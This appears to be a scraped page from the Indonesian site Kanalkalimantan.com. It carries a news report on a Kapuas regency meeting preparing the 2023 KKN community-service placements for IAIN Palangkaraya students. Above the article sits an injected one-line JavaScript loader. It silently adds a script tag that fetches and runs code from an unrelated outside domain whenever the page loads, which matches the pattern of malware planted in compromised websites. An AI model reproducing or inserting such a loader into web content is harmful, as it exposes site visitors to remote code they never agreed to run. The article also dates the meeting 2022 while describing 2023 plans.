(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sekda Septedy Pimpin Rapat Persiapan KKN IAIN Palangkaraya 2023 di Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Sekretaris Daerah (Sekda) Kabupaten Kapuas Drs Septedy MSi didampingi Staf Ahli Bupati Kapuas Bidang Pemerintahan Hukum dan Politik Drs Yunabut beserta Asisten Pemerintahan dan Kesejahteraan Rakyat (Asisten I) Sekretariat Daerah Kabupaten Kapuas Ilham Anwar pimpin rapat persiapan pelaksanaan Kuliah Kerja Nyata (KKN) Mahasiswa Institut Agama Islam Negeri (IAIN) Palangkaraya angkatan 36 tahun 2023 di Kapuas, Kamis (11/5/2022).

Pada kesempatan tersebut Sekda Kapuas Septedy menyampaikan bahwa rapat ini mendengarkan penjelasan dari Sekretaris Lembaga Penelitian dan Pengabdian Masyarakat (LP2M) IAIN Palangkaraya Ali Iskandar tentang informasi dan apa saja yang perlu dilakukan oleh Pemerintah Kabupaten Kapuas seperti berapa mahasiswa yang melakukan KKN, lokasinya dimana saja dan progamnya.

“Saya meminta kepada camat untuk bisa menindaklanjuti dan mengkoordinasikan dengan para kepala desa terkait dengan tempat mereka KKN dan tempat mereka tinggal agar terjalinnya komunikasi dan sinergi,” ucap Septedy.

Ali Iskandar, Sekretaris LP2M IAIN Palangkaraya mengatakan bahwa pelaksanaan KKN ini kurang lebih selama 45 hari atau satu bulan setengah, yang dimulai 10 Juli 2023 dan berakhir 31 Agustus 2023.

“Untuk program-programnya mahasiswa itu tidak kami bekali program dan mereka ini biasanya KKN itu mengikuti program desa sehingga mahasiswa ini menjadi bermanfaat ketika berada di desa,” jelas Ali Iskandar.

Dijelaskannya bahwa IAIN Palangkaraya memiliki 4 fakultas yaitu fakultas pendidikan, fakultas hukum, fakultas ekonomi islam, serta fakultas ushuluddin adab dan dakwah. Keempat fakultas itu pasti akan ada di dalam satu kelompok, dimana 1 kelompok itu berkisar antara 8 sampai 10 orang. “Jadi setiap desa akan ada mahasiswa dari keempat fakultas itu dan nantinya akan menyesuaikan dengan program-program yang ada di desa,” katanya.

“Rencana kami, mahasiswa ini ditempatkan di Kabupaten Kapuas berkisar di antara 150 sampai 300 orang, sntara 5 sampai 6 kecamatan dan kami meminta untuk jalur pertama adalah jalur arah Timpah mungkin sekita 5 atau 10 kelompok kemudian sisanya kita sebar di kecamatan terdekat,” pungkasnya. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk